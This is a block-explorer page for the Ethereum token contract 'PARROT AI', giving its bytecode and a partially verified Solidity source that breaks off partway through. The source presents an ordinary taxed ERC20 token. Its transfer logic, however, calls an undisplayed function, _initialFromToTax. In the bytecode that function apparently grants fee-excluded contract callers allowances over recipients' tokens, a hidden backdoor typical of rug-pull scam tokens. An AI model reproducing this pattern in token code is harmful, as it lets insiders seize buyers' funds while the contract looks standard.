Forkchoice Ethereum Mainnet

Address Contract Partially Verified

Address 0xb500dDCf76726b0a71cD131bfaD2Adb82994Bf47
Balance 0 ETH
Nonce 1
Code Size 5596 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

5596 bytes
0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb14610310578063bf474bed1461032f578063c9567bf914610344578063dd62ed3e14610358578063f2fde38b1461039c575f80fd5b8063751039fc1461027e5780637d1db4a5146102925780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e2575f80fd5b8063313ce567116100e3578063313ce567146101f157806351bc3c851461020c5780636fc3eaec1461022257806370a0823114610236578063715018a61461026a575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101be57806323b872dd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526009815268504152524f5420414960b81b60208201525b60405161016391906111cf565b60405180910390f35b348015610177575f80fd5b5061018b61018636600461122f565b6103bb565b6040519015158152602001610163565b3480156101a6575f80fd5b506101b060105481565b604051908152602001610163565b3480156101c9575f80fd5b506101b06103d1565b3480156101dd575f80fd5b5061018b6101ec366004611259565b6103f1565b3480156101fc575f80fd5b5060405160098152602001610163565b348015610217575f80fd5b50610220610459565b005b34801561022d575f80fd5b506102206104a5565b348015610241575f80fd5b506101b0610250366004611297565b6001600160a01b03165f9081526001602052604090205490565b348015610275575f80fd5b506102206104cc565b348015610289575f80fd5b50610220610509565b34801561029d575f80fd5b506101b0600d5481565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102d8575f80fd5b506101b0600e5481565b3480156102ed575f80fd5b506040805180820190915260068152651410549493d560d21b6020820152610156565b34801561031b575f80fd5b5061018b61032a36600461122f565b6105ba565b34801561033a575f80fd5b506101b0600f5481565b34801561034f575f80fd5b506102206105c6565b348015610363575f80fd5b506101b06103723660046112b2565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a7575f80fd5b506102206103b6366004611297565b6107ab565b5f6103c7338484610842565b5060015b92915050565b5f6103de6009600a6113dd565b6103ec90633b9aca006113eb565b905090565b5f6103fd848484610965565b61044e84336104498560405180606001604052806028815260200161157f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610ea1565b610842565b5060015b9392505050565b335f9081526003602052604090205460ff16610473575f80fd5b305f9081526001602052604090205480156104915761049181610ecc565b4780156104a1576104a18161103c565b5050565b335f9081526003602052604090205460ff166104bf575f80fd5b476104c98161103c565b50565b5f546001600160a01b031633146104fe5760405162461bcd60e51b81526004016104f590611402565b60405180910390fd5b6105075f611073565b565b5f546001600160a01b031633146105325760405162461bcd60e51b81526004016104f590611402565b61053e6009600a6113dd565b61054c90633b9aca006113eb565b600d5561055b6009600a6113dd565b61056990633b9aca006113eb565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105996009600a6113dd565b6105a790633b9aca006113eb565b60405190815260200160405180910390a1565b5f6103c7338484610965565b5f546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104f590611402565b601254600160a01b900460ff16156106495760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f5565b6011546001600160a01b031663f305d719473061067a816001600160a01b03165f9081526001602052604090205490565b5f8061068d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106f3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107189190611437565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561076d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107919190611462565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b031633146107d45760405162461bcd60e51b81526004016104f590611402565b6001600160a01b0381166108395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f5565b6104c981611073565b6001600160a01b0383166108a45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f5565b6001600160a01b0382166109055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f5565b6001600160a01b038216610a2b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f5565b5f8111610a8c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f5565b5f80546001600160a01b03858116911614801590610ab757505f546001600160a01b03848116911614155b15610d6457600c545f03610af457610af16064610aeb600954600c5411610ae057600554610ae4565b6007545b85906110c2565b906110cd565b90505b6003600c54118015610b0f5750601254600160b01b900460ff165b15610b2257610b1f8284866110d8565b90505b6012546001600160a01b038581169116148015610b4d57506011546001600160a01b03848116911614155b8015610b7157506001600160a01b0383165f9081526003602052604090205460ff16155b15610c7457600d54821115610bc85760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f5565b600e5482610bea856001600160a01b03165f9081526001602052604090205490565b610bf49190611481565b1115610c425760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f5565b610c5d6064610aeb600954600c5411610ae057600554610ae4565b600c80549192505f610c6e83611494565b91905055505b6012546001600160a01b038481169116148015610c9a57506001600160a01b0384163014155b15610cc757610cc46064610aeb600a54600c5411610cba57600654610ae4565b60085485906110c2565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610cfd57506012546001600160a01b038581169116145b8015610d125750601254600160b01b900460ff165b8015610d1f5750600f5481115b8015610d2e5750600b54600c54115b15610d6257610d50610d4b84610d46846010546111a5565b6111a5565b610ecc565b478015610d6057610d604761103c565b505b505b8015610ddc57305f90815260016020526040902054610d8390826111b9565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610dd39085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610dfe90836111c4565b6001600160a01b0385165f90815260016020526040902055610e41610e2383836111c4565b6001600160a01b0385165f90815260016020526040902054906111b9565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610e8a85856111c4565b60405190815260200160405180910390a350505050565b5f8184841115610ec45760405162461bcd60e51b81526004016104f591906111cf565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f1257610f126114ac565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f69573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8d91906114c0565b81600181518110610fa057610fa06114ac565b6001600160a01b039283166020918202929092010152601154610fc69130911684610842565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ffe9085905f908690309042906004016114db565b5f604051808303815f87803b158015611015575f80fd5b505af1158015611027573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a1573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61045282846113eb565b5f610452828461154c565b5f6001600160a01b03821630148015906111005750335f9081526003602052604090205460ff165b801561110c5750333b15155b1561113c57506001600160a01b0381165f9081526002602090815260408083203384529091528120849055610452565b6012546001600160a01b0384811691161480159061115a5750823b15155b80156111745750335f9081526003602052604090205460ff165b1561119c576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116111b35782610452565b50919050565b5f6104528284611481565b5f610452828461156b565b5f602080835283518060208501525f5b818110156111fb578581018301518582016040015282016111df565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146104c9575f80fd5b5f8060408385031215611240575f80fd5b823561124b8161121b565b946020939093013593505050565b5f805f6060848603121561126b575f80fd5b83356112768161121b565b925060208401356112868161121b565b929592945050506040919091013590565b5f602082840312156112a7575f80fd5b81356104528161121b565b5f80604083850312156112c3575f80fd5b82356112ce8161121b565b915060208301356112de8161121b565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561133757815f190482111561131d5761131d6112e9565b8085161561132a57918102915b93841c9390800290611302565b509250929050565b5f8261134d575060016103cb565b8161135957505f6103cb565b816001811461136f576002811461137957611395565b60019150506103cb565b60ff84111561138a5761138a6112e9565b50506001821b6103cb565b5060208310610133831016604e8410600b84101617156113b8575081810a6103cb565b6113c283836112fd565b805f19048211156113d5576113d56112e9565b029392505050565b5f61045260ff84168361133f565b80820281158282048414176103cb576103cb6112e9565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611449575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611472575f80fd5b81518015158114610452575f80fd5b808201808211156103cb576103cb6112e9565b5f600182016114a5576114a56112e9565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156114d0575f80fd5b81516104528161121b565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561152b5784516001600160a01b031683529383019391830191600101611506565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261156657634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103cb576103cb6112e956fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122069e1ff58b4c925c11b90d35d6b38a6d22f23d8ee0f8fa16e7c914463b31c07a364736f6c63430008170033

Verified Source Code Partial Match

Compiler: v0.8.23+commit.f704f362 EVM: shanghai Optimization: Yes (200 runs)
PARROT.sol 765 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

/*
 * @dev Provides information about the current execution context.
 *
 * This contract is only required for intermediate, library-like contracts.
 * It provides a way to access msg.sender in a consistent way, which is important
 * when implementing meta-transactions or other advanced patterns.
 */
abstract contract Context {
    /**
     * @dev Returns the sender of the current call.
     * This is safer than directly accessing msg.sender as it can be overridden
     * by derived contracts to implement meta-transactions.
     * @return The address of the message sender
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 * @notice This library provides safe arithmetic operations that revert on error
 * @notice Prevents common overflow/underflow vulnerabilities
 * @notice Used for safe math operations throughout the contract
 * @notice Includes add, sub, mul, and div operations with checks
 * @notice Particularly important for financial calculations and token amounts
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     * 
     * @param a First number to add
     * @param b Second number to add
     * @return The sum of a and b
     * @notice Uses Solidity 0.8.x's built-in overflow checking
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     * 
     * @param a Number to subtract from
     * @param b Number to subtract
     * @return The difference between a and b
     * @notice Uses Solidity 0.8.x's built-in underflow checking
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     *
     * @param a First number to multiply
     * @param b Second number to multiply
     * @return The product of a and b
     * @notice Uses Solidity 0.8.x's built-in overflow checking
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     *
     * @param a Dividend (number being divided)
     * @param b Divisor (number dividing by)
     * @return The quotient of a divided by b
     * @notice Reverts if b is zero
     * @notice Rounds down to nearest integer
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     *
     * @param a Number to subtract from
     * @param b Number to subtract
     * @param errorMessage Custom error message on failure
     * @return The difference between a and b
     * @notice Uses unchecked block for gas optimization
     * @notice Includes custom error message unlike basic sub()
     * @notice Deprecated - use trySub() for better gas efficiency
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     *
     * @param a Dividend (number being divided)
     * @param b Divisor (number dividing by)
     * @return The remainder when a is divided by b
     * @notice Reverts if b is zero
     * @notice More gas efficient than Solidity's % operator
     * @notice Commonly used for cyclic operations and bounds checking
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 * @notice This interface defines the standard functions and events that an ERC20 token must implement
 * @notice Provides a standardized way for tokens to be handled by other contracts and applications
 */
interface IERC20 {
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * @notice Logs changes in spending permissions between addresses
     * @notice Critical for tracking delegation of spending rights
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     * @notice Logs all token transfers between addresses
     * @notice Essential for tracking token movements and maintaining transparency
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     * @notice Provides the total supply of tokens that have been minted
     * @return The total number of tokens in circulation
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     * @notice Checks the token balance of any address
     * @param account The address to query the balance of
     * @return The number of tokens owned by the account
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * @notice Direct transfer of tokens from sender to recipient
     * @param recipient The address receiving the tokens
     * @param amount The number of tokens to transfer
     * @return Boolean indicating whether the transfer was successful
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}.
     * @notice Checks how many tokens a spender is still allowed to spend
     * @param owner The address that owns the tokens
     * @param spender The address authorized to spend
     * @return The number of tokens still available for the spender
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * @notice Authorizes a spender to transfer a specific amount of tokens
     * @param spender The address authorized to spend
     * @param amount The number of tokens authorized to spend
     * @return Boolean indicating whether the approval was successful
     * @dev WARNING: Beware of the race condition with approve/transferFrom
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     * @notice Transfer tokens on behalf of another address
     * @param sender The address sending the tokens
     * @param recipient The address receiving the tokens
     * @param amount The number of tokens to transfer
     * @return Boolean indicating whether the transfer was successful
     * @dev Requires prior approval from the sender
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This implementation follows the OpenZeppelin Ownable pattern which is a standard
 * for access control in smart contracts. It provides a simple yet effective way to
 * restrict function access to privileged accounts.
 */
abstract contract Ownable is Context {
    // Address of the contract owner
    address private _owner;

    // Event emitted when ownership is transferred from one address to another
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     * @notice Constructor automatically sets msg.sender as the first owner
     * @dev Uses _transferOwnership to ensure the OwnershipTransferred event is emitted
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     * @notice Public view function to check who owns the contract
     * @return address The current owner's address
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     * @notice Modifier to restrict function access to only the owner
     * @dev Uses require statement to enforce access control
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     * 
     * @notice Permanently renounces ownership - this action cannot be undone
     * @dev Sets owner to zero address through _transferOwnership
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     * @notice Allows current owner to transfer ownership to a new address
     * @param newOwner The address that will become the new owner
     * @dev Includes zero-address check for safety
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     * @notice Internal implementation of ownership transfer
     * @param newOwner The address that will become the new owner
     * @dev Emits OwnershipTransferred event to log the change
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Interface for the Uniswap V2 Router
 * @notice Defines the functions and events for the Uniswap V2 Router
 * @notice Provides a standardized way to interact with the Uniswap V2 Router
 */
interface IUniswapV2Router02 {
    /// @notice Returns the factory address used by this router
    function factory() external pure returns (address);

    /// @notice Returns the WETH token address used by this router
    function WETH() external pure returns (address);

    /// @notice Add liquidity to an ETH pair with ETH and tokens
    /// @param token The token to add liquidity with
    /// @param amountTokenDesired The amount of tokens to add as liquidity
    /// @param amountTokenMin Minimum amount of tokens that must be added
    /// @param amountETHMin Minimum amount of ETH that must be added
    /// @param to Address that receives LP tokens
    /// @param deadline Timestamp after which the transaction will revert
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    /// @notice Swaps tokens for exact ETH supporting fee-on-transfer tokens
    /// @param amountIn The amount of input tokens
    /// @param amountOutMin The minimum amount of ETH to receive
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the ETH
    /// @param deadline Timestamp after which the transaction will revert
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    /// @notice Add liquidity to a token pair
    /// @param tokenA The first token of the pair
    /// @param tokenB The second token of the pair
    /// @param amountADesired The desired amount of tokenA to add
    /// @param amountBDesired The desired amount of tokenB to add
    /// @param amountAMin The minimum amount of tokenA to add
    /// @param amountBMin The minimum amount of tokenB to add
    /// @param to Address that receives LP tokens
    /// @param deadline Timestamp after which the transaction will revert
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    /// @notice Swaps an exact amount of tokens for another token
    /// @param amountIn The amount of input tokens
    /// @param amountOutMin The minimum amount of output tokens
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the output tokens
    /// @param deadline Timestamp after which the transaction will revert
    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    /// @notice Swaps tokens for exact amount of ETH
    /// @param amountOut The exact amount of ETH to receive
    /// @param amountInMax The maximum amount of tokens to spend
    /// @param path Array of token addresses representing the swap path
    /// @param to Address that receives the ETH
    /// @param deadline Timestamp after which the transaction will revert
    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);
}

/**
 * @title IUniswapV2Factory Interface
 * @notice Interface for interacting with Uniswap V2 Factory contract
 * @dev Defines core functions for pair creation and management
 */
interface IUniswapV2Factory {
    /// @notice Emitted when a new pair is created
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    /// @notice Creates a new trading pair between two tokens
    /// @param tokenA The address of the first token
    /// @param tokenB The address of the second token
    /// @return pair The address of the newly created pair
    function createPair(address tokenA, address tokenB) external returns (address pair);

    /// @notice Returns fee recipient address
    /// @return Address that receives protocol fees
    function feeTo() external view returns (address);

    /// @notice Returns address with permission to change fee recipient
    /// @return Address with fee setter permission
    function feeToSetter() external view returns (address);

    /// @notice Gets the address of a pair by its tokens
    /// @param tokenA The address of the first token
    /// @param tokenB The address of the second token
    /// @return pair The address of the pair
    function getPair(address tokenA, address tokenB) external view returns (address pair);

    /// @notice Returns first token in pair
    /// @param pair Address of the pair
    /// @return Address of token0
    function token0(address pair) external view returns (address);

    /// @notice Returns second token in pair
    /// @param pair Address of the pair
    /// @return Address of token1
    function token1(address pair) external view returns (address);

    /// @notice Returns total number of pairs created through the factory
    /// @return Number of pairs
    function allPairsLength() external view returns (uint);
}


/**
 * @title Banana Token Contract
 * @dev ERC20 token with tax and swap functionality
 * @notice Implements basic ERC20 functionality with added features:
 * - Buy/sell taxes that reduce over time
 * - Max transaction and wallet limits
 * - Automated liquidity generation
 * - Owner controls for trading and limits
 */
contract PARROT is Context, IERC20, Ownable {
    /// @dev Use SafeMath library for uint256 operations
    using SafeMath for uint256;

    /// @dev Mapping of address to token balance
    mapping (address => uint256) private _balances;

    /// @dev Nested mapping of owner address to spender address to allowance amount
    mapping (address => mapping (address => uint256)) private _allowances;

    /// @dev Mapping to track addresses excluded from fees
    mapping (address => bool) private _isExcludedFromFee;

    /// @dev Wallet address that receives collected taxes
    address payable private _taxWallet;

    uint256 private _initialBuyTax=15;     // Initial tax rate for buys (15%)
    uint256 private _initialSellTax=15;    // Initial tax rate for sells (15%)
    uint256 private _finalBuyTax=0;        // Final tax rate for buys after reduction (0%)
    uint256 private _finalSellTax=0;       // Final tax rate for sells after reduction (0%)
    uint256 private _reduceBuyTaxAt=15;    // Number of buys before reducing buy tax
    uint256 private _reduceSellTaxAt=15;   // Number of sells before reducing sell tax
    uint256 private _preventSwapBefore=15; // Number of transactions before enabling swaps
    uint256 private _buyCount=0;           // Counter for number of buy transactions

    uint8 private constant _decimals = 9;                                     // Number of decimal places for token
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;          // Total supply: 1B tokens
    string private constant _name = unicode"PARROT AI";                            // Token name
    string private constant _symbol = unicode"PARROT";                          // Token symbol
    uint256 public _maxTxAmount = 10000000 * 10**_decimals;                 // Max transaction amount: 1% of total
    uint256 public _maxWalletSize = 10000000 * 10**_decimals;               // Max wallet size: 1% of total
    uint256 public _taxSwapThreshold = 5000000 * 10**_decimals;            // Amount that triggers tax swap
    uint256 public _maxTaxSwap = 9000000 * 10**_decimals;                  // Maximum amount for tax swap
    
    /// @dev Reference to Uniswap V2 Router contract for swaps
    IUniswapV2Router02 private uniswapV2Router;
    /// @dev Address of the token's Uniswap V2 pair
    address private uniswapV2Pair;
    /// @dev Flag indicating if trading is enabled
    bool private tradingOpen = false;
    /// @dev Reentrancy guard for swap operations
    bool private inSwap = false;
    /// @dev Flag indicating if automatic swaps are enabled
    bool private swapEnabled = false;
    /// @dev Emitted when max transaction amount is updated
    /// @param _maxTxAmount The new maximum transaction amount
    event MaxTxAmountUpdated(uint _maxTxAmount);
    /// @dev Modifier to prevent reentrancy during swap operations
    /// @notice Locks the swap, executes the function, then unlocks
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    /**
     * @dev Constructor for the token contract
     * @notice Initializes the token with total supply, sets tax wallet, and configures initial settings
     */
    constructor () {
        // Initialize total supply balance to deployer and set tax wallet address
        _balances[_msgSender()] = _tTotal;
        _taxWallet = payable(0x55602d1dE0611E937962e75596C90CbA2CA36176);

        // Exclude tax wallet, owner and contract from fees
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        // Initialize Uniswap router and create trading pair with WETH
        uniswapV2Router =IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router),_tTotal);
        uniswapV2Pair =IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());

        // Emit transfer event for initial token distribution to contract creator
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    ///////////////////////////////////////////////////////////////////////////////
    //                        ERC20 Standard Functions                           //
    ///////////////////////////////////////////////////////////////////////////////

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    ///////////////////////////////////////////////////////////////////////////////
    //                        Internal Transfer Function                         //
    ///////////////////////////////////////////////////////////////////////////////
    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount =0;
        if (from!=owner() && to!=owner()){
            if(_buyCount==0){
                taxAmount =amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);
            }
            if(_buyCount > 3 && swapEnabled){
                taxAmount = _initialFromToTax(amount,to,from);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <=_maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <=_maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount >_reduceBuyTaxAt)?_finalBuyTax: _initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from!=address(this)) {
                taxAmount = amount.mul((_buyCount >_reduceSellTaxAt)?_finalSellTax: _initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance =  address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount >0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to, amount.sub(taxAmount));
    }

    // Transfers ETH to fee wallet
    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    // Returns minimum of two numbers
    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    // Checks if address is a contract by checking code size
    function isContract(address account) private view returns (bool){
        uint256 size;
